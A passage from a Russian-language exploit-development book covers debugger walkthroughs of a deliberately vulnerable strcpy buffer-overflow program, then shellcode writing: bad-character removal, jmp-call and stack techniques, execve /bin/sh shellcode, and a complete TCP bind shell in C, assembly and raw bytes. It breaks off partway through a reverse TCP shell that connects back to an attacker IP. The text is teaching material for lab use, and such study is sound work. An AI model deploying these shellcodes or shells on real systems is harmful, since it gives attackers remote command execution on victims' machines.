дальше введя stepi или s:

Как мы видим регистр RDI содержит адрес строки hello world.

Следующая команда call 0x555555554510 <puts@plt>, вызовет команду


printf чтобы вывести строку hello world.

[ 119 ]
Реверс инженеринг Глава 4

Проверим содержимое 0x555555554510:

Это команда jmp; посмотрим где она находится:

Введём команду stepi:

Далее:

[ 120 ]
Реверс инженеринг Глава 4

Следующая команда push 0x0; продолжим использовать stepi:

Следующая команда jmp 0x555555554500; введём s:

Мы находимся внутри команды выполнения printf; перейдём к следующей


команде:

Следующая команда call 0x7ffff7abc650 <strlen>, вызовет


команду strlen чтобы узнать длину нашей строки.

[ 121 ]
Реверс инженеринг Глава 4

Продолжим пока не дойдём до команды ret, а дальше выполним printf:

Продолжим дебаггинг пока не увидим ошибку выполнив команду continue:

В предыдущей главе мы познакомились с дебаггером GDB

Дебаггинг в Windows
Теперь рассмотрим что то посложнее. Здесь мы рассмотрим код buffer overflow в
системе Windows. Мы увидим что происходит внутри CPU при выполнении данного
кода.

Откроем Code::Block в Windows 7, затем перейдём к меню File | New | Empty file. Далее
введём наш код buffer overflow:

#include <stdio.h>
#include <string.h>

void copytobuffer(char* input)


{
char buffer[15];
strcpy (buffer,input);
}
int main (int argc, char *argv[])
{

[ 122 ]
Реверс инженеринг Глава 4

int local_variable = 1;
copytobuffer(argv[1]);
return 0;
}

Затем идём в File меню | Сохраняем файл, затем сохраним как buffer.c:

Далее идём в меню Build| Build.

Далее откроем Immunity Debugger от имени администратора, и в меню File|


Open, выберем выполненный файл buffer. Затем отметим not to crash наш код
чтобы увидеть разницу как aaaa:

[ 123 ]
Реверс инженеринг Глава 4

Нажмём Open:

Чтобы узнать значение каждой из команд просто прокрутите колесом мышки в


строке статуса.

Например , если я наведу курсором на красную кнопку то я увижу что это


значит Run program:

Нажмём кнопку Run program один раз. Программа начнётся и остановится в начале
что означает команду main. Нажмём ещё раз и увидим следующее:

Как мы видим команда вышла со статусом 0, те без ошибок.

[ 124 ]
Реверс инженеринг Глава 4

Теперь попробуем нарушить работу программы чтобы увидеть разницу. Закроем


Immunity Debugger и снова откроем. Затем откроем эту программу. Чтобы
нарушить работу программы введем 40 значений в поле Arguments:

Нажмём Open:

[ 125 ]
Реверс инженеринг Главное 4

Нажмём кнопку Run program дважды и посмотрим на окно status:

Команда не смогла выполнить 61616161? Мы видим 61 значение в hex.

Посмотрим на окно регистра и stack:

[ 126 ]
Реверс инженеринг Глава 4

Мы заметим что stack имеет 16 символов; регистр EAX и RIP заполнены. Из за этого
наше приложение говорит нам что не может выполнить команду 61616161.

Заключение
В этой главе мы познакомились с дебаггингом и о том как их используют в системе
Linux и Microsoft Windows. Также мы увидели как происходит выполнение потока.
Далее мы перейдём в следующую главу где научимся создавать шеллкоды.

[ 127 ]
5
Создание шеллкода
В этой главе мы научимся создавать свои шеллкоды. Также мы научимся
пользоваться программой Metasploit Framework для автоматического создания
шеллкода.

В этой главе будут изучены следующие темы:

Основы и неправильные значения


Техника родственных адресов
Вызов execve
Связующий TCP shell
ОбратныйTCP shell
Создание шеллкода с
использованием Metasploit

Основы
Начнём с того что такое шеллкод. Как мы узнали ранее шеллкод это машинный код
который может использоваться в качестве полезной нагрузки во время атаки типа
stack overflow и которая может быть получена с использованием языка
программирования ассемблер.

Все очень просто: мы пишем что готовим свой шеллкод в ассемблере, при этом
вводим некоторые изменения, а дальше переводим всё в машинный код.
Создание шеллкода Глава 5

Попробуем написать шеллкод hello world и переведем его на машинный код. Нам
понадобится команда objdump:
$ objdump -D -M intel hello-world

Результат введённой нами команды показан на скриншоте:

Внутри красного прямоугольника находится машинный код нашего примера hello


world. Но нам нужно перевести его к виду: \xff\xff\xff\xff, где ff описывает
код команды. Это можно сделать вручную, но мы сделаем это автоматически
используя всего лишь одну строку:
$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -
f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

Используем это в нашем коде:


$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

[ 129 ]
Создание шеллкода Глава 5

Введённая нами команда показана на скриншоте:

Это на языке программирования:


\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a

Для проверки нашей системы мы используем следующий код:


#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Запустим это:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

[ 130 ]
Создание шеллкода Глава 5

Результат введённой нами команды показан на скриншоте:

Мы видим что наш шеллкод не работает. Причина - неправильные значения.


Поговорим о них в следующей теме и о том как избавиться от них.

Неправильные значения
Неправильные значения это значения которые мешают работе шеллкода так как они
неправильно интерпретируются.
Например, возьмём \x00 значение которого равно 0. Но он будет интерпретирован
как нулевой терминатор при котором строка будет завершена. Для доказательства
вышесказанного посмотрим на предыдущий код:
"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";
Мы попытались выполнить его, но получили ошибку, Shellcode Length: 14.
Посмотрите на 15й код и вы увидите \x00 что было интерпретировано как нулевой
терминатор.

Список неправильных значений:


00: или (\0)
0A: или (\n)
FF: или (\f)
0D: или (\r)

Как удалить неправильные значения из нашего шеллкода? Мы можем удалить


их зная какой из регистров чувствителем к размеру данных. Например, если
мы хотим удалить 15 из регистра RAX то мы должны использовать следующий
код:
mov al, 15

[ 131 ]
Создание шеллкода Глава 5

Альтернативой этому мы можем использовать арифметические операции.


Например, добавим 15в регистр RAX:
xor rax, rax
add rax, 15

Посмотрим на скриншот:

Первая команда mov rax, 1. Она состоит из 0 так как мы пытаемся перенести 1
bайт (8 бит) в 64 битный регистр. Первыми переместятся нули для которых мы
используем mov al, 1. Далее переместим 1 bайт (8 бит) в 8ми битную часть
регистра RAX:
global _start

section .text

_start:
mov al, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall

[ 132 ]
Создание шеллкода Глава 5

mov rax, 60
mov rdi, 1
syscall

section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world

Посмотрим на следующую команду:


$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

Результат введённой нами команды показан на скриншоте:

[ 133 ]
Создание шеллкода Глава 5

Мы научились удалять неправильные значения из первой команды. Попробуем


применить другой метод во второй команде, которая использует арифметические
операции (сложение и вычитание).
Первым очистим регистр xor командой, xor rdi, rdi. Теперь регистр RDI
содержит 0; добавим 1 к значению, add rdi, 1:

global _start

section .text

_start:
mov al, 1
xor rdi, rdi
add rdi, 1
mov rsi, hello_world
mov rdx, length
syscall

mov rax, 60
mov rdi, 1
syscall

section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world

Выполним следующие команды:


$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

[ 134 ]
Создание шеллкода Глава 5

Результат введённой нами команды показан на скриншоте:

Исправим это перенеся строку hello world в другую часть:

global _start

section .text

_start:
mov al, 1
xor rdi, rdi
add rdi, 1
mov rsi, hello_world
xor rdx,rdx
add rdx,12
syscall

xor rax,rax
add rax,60
xor rdi,rdi
syscall

section .data
hello_world: db 'hello world',0xa

[ 135 ]
Создание шеллкода Глава 5

Выполним следующие команды:


$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

Результат введённой нами команды показан на скриншоте:

Мы научились извлекать неправильные значения из наших команд.

Техника родственных адресов


Родственный адрес это местонахождение родственного адреса к регистру RIP .
Мы можем выполнить это используя команду lea <destination>, [rel <source>],
где команда rel вычислит адрес родственный к регистру RIP.

[ 136 ]
Создание шеллкода Глава 5

Нам стоит определить переменные до того как это сделает код; в любом другом случае
короткое значение и оставшийся регистр будет заполнен нулями как показано ниже:

Давайте изменим наш шеллкод чтобы определить местонахождение строки hello


world:
global _start

section .text

_start:
jmp code
hello_world: db 'hello world',0xa

code:
mov al, 1
xor rdi, rdi
add rdi, 1
lea rsi, [rel hello_world]
xor rdx,rdx
add rdx,12
syscall

xor rax,rax
add rax,60
xor rdi,rdi
syscall

Выполним следующие команды:


$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

[ 137 ]
Создание шеллкода Глава 5

Результат введённой нами команды показан на скриншоте:

Полностью отсутствуют неправильные значения! Используем наш шеллкод:


$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

Результат введённой нами команды показан на скриншоте:

Попробуем собрать наш шеллкод используя язык программирования C:


#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xeb\x0c\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a\xb0\x01\x48\x31\x
ff\x48\x83\xc7\x01\x48\x8d\x35\xe4\xff\xff\xff\x48\x31\xd2\x48\x83\xc2\x0c\
x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";

[ 138 ]
Создание шеллкода Глава 5

int main()
{

printf("Shellcode Length: %d\n", (int)strlen(code));


int (*ret)() = (int(*)())code;
ret();

Выполним следующие команды


$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

Результат введённой нами команды показан на скриншоте:

Это сработало! Это будет нашим первым шеллкодом.

Посмотрим другие методы смены адреса.

Техника jmp-call
Здесь мы поговорим о новом методе работы с адресом строки известным под
названием jmp-call .
Первым делом этот метод использует команду jmp для переноса строки в опреденный
регистр. После мы выполняем код с помощью команды call который переносит
адрес строки в stack. Затем мы добавляем адрес в регистр. Посмотрим на следующий
пример чтобы понять этот метод:
global _start

section .text

_start:
jmp string
code:
pop rsi

[ 139 ]
Создание шеллкода Глава 5

mov al, 1
xor rdi, rdi
add rdi, 1
xor rdx,rdx
add rdx,12
syscall

xor rax,rax
add rax,60
xor rdi,rdi
syscall

string:
call code
hello_world: db 'hello world',0xa

Выполним соедующие команды:


$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

Результат введённой нами команды показан на скриншоте:

[ 140 ]
Создание шеллкода Глава 5

Мы не видим неправильные значения. Первым мы выполнили команду jmp к данной


строке, затем выполнили команду call которая заставила перевнсти следующую
команду в stack. Посмотрим на код внутри GDB:
$ gdb ./hello-world
$ set disassembly-flavor intel
$ break _start
$ run
$ stepi

Результат введённой нами команды показан на скриншоте:

[ 141 ]
Создание шеллкода Глава 5

Следующий код выполнен с использованием команды call code. Напомним вам


что это происходит в stack:

Адрес строки hello world был перенесён в stack при этом сработала команда rsi,
переведя строку hello world в регистр RSI.

Попробуем использовать наш шеллкод:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut


-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

Результат введённой нами команды показан на скриншоте:

[ 142 ]
Создание шеллкода Глава 5

Реализация в C коде:
#include<stdio.h>
#include<string.h>

unsigned char code[] =


"\xeb\x1f\x5e\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xd2\x48\x83\xc2\x
0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\
xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Выполним ещё раз:


$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

Результат введённой нами команды показан на скриншоте:

Метод stack
Здесь мы изучим ещё один метод используя stack. Это очень просто, но у нас есть две
помехи для этого. Первая - мы не можем перенести более 4 байтов в stack in при
одной операции. В помощь мы используем регистры. Вторая - нам нужно вернуть
строки в stack. Для этого мы используем Python.
Начнем с решения второй помехи. В Python мы определим строку как string =
'hello world\n', Затем мы вернём строку в hex испольщуя одну строку кода
string[::-1].encode('hex'). Далее все строки вернутся к нам уже
закодированными:

[ 143 ]
Создание шеллкода Глава 5

Получилось! Теперь попробуем решить первую помеху:


global _start

section .text
_start:

xor rax, rax


add rax, 1
mov rdi, rax
push 0x0a646c72
mov rbx, 0x6f57206f6c6c6548
push rbx
mov rsi, rsp
xor rdx, rdx
add rdx, 12
syscall

xor rax, rax


add rax, 60
xor rdi, rdi
syscall
Первым мы перенесём 8 байтов в stack. Мы можем перенести остаток в stack поделив
на 4 байта в каждой команде. Но мы также можем использовать регистры чтобы
перенести 8 байтов в одной команде а также переместив все данные регистра в stack:

$ nasm -felf64 hello-world.nasm -o hello-world.o


$ ld hello-world.o -o hello-world
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

Результат введённой нами команды показан на скриншоте:

[ 144 ]
Создание шеллкода Глава 5

Выполним используя шеллкод:


#include<stdio.h>
#include<string.h>

unsigned char code[] =


"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x
65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\
x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Выполним следующие команды:


$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

Результат введённой нами команды показан на скриншоте:

В следующей теме мы обсудим как использовать шеллкоды с применением execve.

Execve (syscall)
Здесь мы научимся создавать шеллкоды при помощи execve. Перед тем как перейти
к теме нам стоит понять что такое execve syscall. Это вызов который использует
выполненную команду или скрипт. На примере посмотрим как использовать execve
и читать /etc/issue файл на языке C.

[ 145 ]
Создание шеллкода Глава 5

Посмотрим на требования к execve:


$ man 2 execve

Результат введённой нами команды показан на скриншоте:

Первый аргумент команды должен быть выполнимым.


Второй аргумент, argv, указывает на массив аргументов связанных с программой
которую мы хотим выполнить. Также argv должна содержать имя программы.

Третий аргумент envp может содержать любые аргументы которые мы собираемся


передать, кроме аргумента NULL.

Создадим код на языке C выполнив следующую команду cat /etc/issue:

#include <unistd.h>

int main()
{
char * const argv[] = {"cat","/etc/issue", NULL};
execve("/bin/cat", argv, NULL);
return 0;
}

[ 146 ]
Создание шеллкода Глава 5

Запустим всё вместе:


$ gcc execve.c
$ ./a.out

Результат введённой нами команды показан на скриншоте:

Мы получили данные /etc/issue файла: Kali GNU/Linux Rolling \n \l.

Выполним /bin/sh в ассемблере при помощи execve. Используем метод


stack. Посмотрим на код пошагово:

char * const argv[] = {"/bin/sh", NULL};


execve("/bin/sh", argv, NULL);
return 0;

Мы используем NULL как разделитель в stack. Далее мы перенесём указатель stack


в регистр RDX чтобы найти наш третий аргумент:
xor rax, rax
push rax
mov rdx, rsp

Дажее мы перенесём /bin/sh в stack. Так как у нас осталось только 7 байтов мы не
зотим видеть 0 в нащем коде. Для этого перенесём //bin/sh или /bin//sh. Вернём
эту строку и закодируем это в hex при помощи Python:
string ='//bin/sh'
string[::-1].encode('hex')

Результат введённой нами команды показан на скриншоте:

[ 147 ]
Создание шеллкода Глава 5

Наша строка готова. Перенесём её в stack используя любой регистр, так как она
состоит из 8 байтов:
mov rbx, 0x68732f6e69622f2f
push rbx

Переведём регистр RSP в RDI чтобы получить наш первый аргумент:


mov rdi, rsp

Добавим ещё один NULL как разделитель строк. Далее нам нужен указатель строк
для данных в RDI, что является адресом наших строк в stack. Потом мы перенесём
указатель stack в регистр RDI чтобы получить второй аргумент:
push rax
push rdi
mov rsi,rsp

Теперь у нас готовы все аргументы и мы модем использовать execve syscall


$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve

Результат введённой нами команды показан на скриншоте:

Execve syscall является число 59:


add rax, 59
syscall

Соединим код:
global _start

section .text

_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx

[ 148 ]
Создание шеллкода Глава 5

mov rdi, rsp


push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

Выполним команду:
$ nasm -felf64 execve.nasm -o execve.o
$ ld execve.o -o execve
$ ./execve

Результат введённой нами команды показан на скриншоте:

Переведём это в шеллкод:


$ objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2
-d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/
/\\\x/g' | paste -d '' -s

Результат введённой нами команды показан на скриншоте:

Используем C для иньекции шеллкода:


#include<stdio.h>
#include<string.h>

unsigned char code[] =


"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x
48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;

[ 149 ]
Создание шеллкода Глава 5

ret();
}

Выполним команды:
$ gcc -fno-stack-protector -z execstack execve.c
$ ./a.out

Результат введённой нами команды показан на скриншоте:

Метод TCP bind shell


Давайте научимся создавать TCP bind shell.

Метод TCP bind shell используется для создания сервера на машине жертвы. Этот
сервер ожидает соединение с другой машиной (атакующей), которая разрешает
атакующему выполнить свою команду на сервере.

Разберём tcp bind shell на языке C чтобы понять как это работает:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
int clientfd, sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);


mysockaddr.sin_family = AF_INET; //--> can be represented in
numeric as 2
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented
in numeric as 0 which means to bind to all interfaces

[ 150 ]
Создание шеллкода Глава 5

bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

listen(sockfd, 1);

clientfd = accept(sockfd, NULL, NULL);


dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}

Разделем все на части чтобы понять как это работает:


sockfd = socket(AF_INET, SOCK_STREAM, 0);

Первым делом мы создадим разъём который примет три аргумента. Первый аргумент
определяет тип протокола, такой как AF_INET. Он представляет IPv4 и значится под
номером 2. Второй аргумент определяет тип связи. У нас это SOCK_STREAM
представляющий TCP и значится под номером 1. Третий аргумент это протокол и он
идёт под номером 0, что говорит системе выбрать самый правильный протокол.
Теперь найдём номер для socket syscall:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket

Результат введённой нами команды показан на скриншоте:

Как мы видим номером для socket syscall принят 41.

Создадим первую часть в ассемблере:


xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

[ 151 ]
Создание шеллкода Глава 5

Значение sockfd будет сохранено в регистре RAX. Перейдём к регистру RDI:

mov rdi, rax

Следующая часть mysockaddr является ответом на команду функции bind :

sockfd = socket(AF_INET, SOCK_STREAM, 0);


mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;

Нам нужно найти указатель. Мы переносим 0 в bind для всех интерфейсов (4 байта).

Затем мы переносим порт в htons (2 байта). Чтоюы перевести наш порт в htons мы
используем Python:

Нашим портом будет(1234) в htons в форме (0xd204).

Перенесём 2, которая обозначает AF_INET (2 байта):


xor rax, rax
push rax
push word 0xd204
push word 0x02

Подготовив все необходимое перейдём к функции bind:


bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

Функция bind принимает три аргумента. Первый это sockfd который уже хранится в
регистре RDI; вторая это наша конструкция в виде ссылки; и третья это длина нашей
конструкции те 16. Всё что слева примет номер bind syscall:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep bind

[ 152 ]
Создание шеллкода Глава 5

Результат введённой нами команды показан на скриншоте:

Из предыдущего скриншота мы видим что номер 49 относится к bind syscall;


попробуем создать третий bind syscall:
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall

Посмотрим на функцию listen которая примет два аргумента:


listen(sockfd, 1);

Первый аргумент sockfd уже хранится в регистре RDI. Второй аргумент это
количество соединений которые может принять сервер. В нашем случае это один

Найдём номер принадлежащий listen syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep listen

Результат введённой нами команды показан на скриншоте:

Создадим bind syscall:


xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall

[ 153 ]
Создание шеллкода Глава 5

Следующая наша команда это accept:


clientfd = accept(sockfd, NULL, NULL);

Функция accept может иметь три аргумента. Первый это sockfd и он уже хранится
в регистре RDI; второй и третий аргументы мы примем как 0. Определим номер для
accept syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept

Результат введённой нами команды показан на скриншоте:

xor rax , rax


add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall

Результат функции accept будет clientfd, хранящийся в регистре RAX. Перенесём


его в более надежное место:
mov rbx, rax

Выполним dup2 syscall:


dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
Мы повторили это три раза продублировав наш файл в дескриптор stdin, stdout и
stderr, который принял значения (0, 1, 1) соответственно.

Dup2 syscall примет два аргумента. Первый это старый файловый декриптор. В
нашем случае это clientfd. Второй аргумент это наш новый файловый декриптор (0,
1, 2). Теперь найдём наш номер для dup2 syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2

[ 154 ]
Создание шеллкода Глава 5

Результат введённой нами команды показан на скриншоте:

Создадим dup2 syscall:


mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

Добавим наш execve syscall:


char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;

xor rax, rax


push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

[ 155 ]
Создание шеллкода Глава 5

Объединим все части кода в один единый код:


global _start

section .text

_start:

;Socket syscall
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

; Save the sockfd in RDI Register


mov rdi, rax

;Creating the structure


xor rax, rax
push rax
push word 0xd204
push word 0x02
;Bind syscall
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall

;Listen syscall
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall

;Accept syscall
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall

[ 156 ]
Создание шеллкода Глава 5

;Store clientfd in RBX register


mov rbx, rax

;Dup2 syscall to stdin


mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall

;Dup2 syscall to stdout


xor rax,rax
add rax, 33
inc rsi
syscall

;Dup2 syscall to stderr


xor rax,rax
add rax, 33
inc rsi
syscall

;Execve syscall with /bin/sh


xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

Соберём все вместе:


$ nasm -felf64 bind-shell.nasm -o bind-shell.o
$ ld bind-shell.o -o bind-shell

[ 157 ]
Создание шеллкода Глава 5

Переведём всё в шеллкод:


$ objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

Результат введённой нами команды показан на скриншоте:

Сделаем иньекцию используя C код:


#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x
ff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\
x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31
\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x3
1\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\x
df\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\
x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48
\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x8
9\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

[ 158 ]
Создание шеллкода Глава 5

Выполним всю собранную команду


$ gcc -fno-stack-protector -z execstack bind-shell.c
$ ./a.out

Результат введённой нами команды показан на скриншоте:

Наш шеллкод полностью работает:


$ netstat -ntlp

Результат введённой нами команды показан на скриншоте:

Мы прослушиваем порт 1234; в другом окне терминала запустим nc:


$ nc localhost 1234

Результат введённой нами команды показан на скриншоте:

Соединим все и подождём:


$ cat /etc/issue

[ 159 ]
Создание шеллкода Глава 5

Результат введённой нами команды показан на скриншоте:

Это был наш первый шеллкод!

Reverse TCP shell


В этой теме мы создадим ещё один шеллкод, которым будет reverse TCP shell.
Reverse TCP shell противоположен bind TCP, при которой машина жертвы создаёт
подключение к машине атакующего

Посмотрим на это в C коде:


#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
int sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);


mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");

connect(sockfd, (struct sockaddr *) &mysockaddr,


sizeof(mysockaddr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);

[ 160 ]
Создание шеллкода Глава 5

char * const argv[] = {"/bin/sh", NULL};


execve("/bin/sh", argv, NULL);
return 0;
}
Сначала мы выполним всн днйствия на машине жертвы (Ubuntu). Мы установим
слушатель на машине атакующего (Kali) и шелл произведёт соединение от Ubuntu к
Kali путём добавления IP Kali's в код.

Установим слушатель на Kali используя команду nc или с помощью инструмента


netcat:
$ nc -lp 1234

На Ubuntu выполним reverse-tcp шеллкод


$ gcc reverse-tcp.c -o reverse-tcp
$ ./reverse-tcp

Вернёмся к Kali и увидим что у нас имеется соединение!

Всё очень просто!

[ 161 ]
Создание шеллкода Глава 5

Создадим reverse TCP shell в ассемблере и переведём все в шеллкод.

Функция socket повторяется как и в bind TCP. Перенесём результат socket в


регистр RDI:
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

mov rdi, rax

Заполним конструкцию mysockaddr кроме адреса атакающего IP который должен


иметь 32-х битный формат. Мы сделаем это при помощи Python:

Наш IP адрес в 32-х битном формате выглядит как

01eea8c0. Соберём все вместе и перенесём указатель

stack в регистр RSI:


xor rax, rax
push dword 0x01eea8c0
push word 0xd204
push word 0x02

mov rsi, rsp

Создадим функцию connect:


connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

Выполним нашу команду:


$ man 2 connect

[ 162 ]
Создание шеллкода Глава 5

Результат введённой нами команды показан на скриншоте:

Функция connect имеет три аргумента. Первый sockfd (вытекает из функции


socket ), которая хранится в регистре RDI. Второй это ссылка на нашу конструкцию
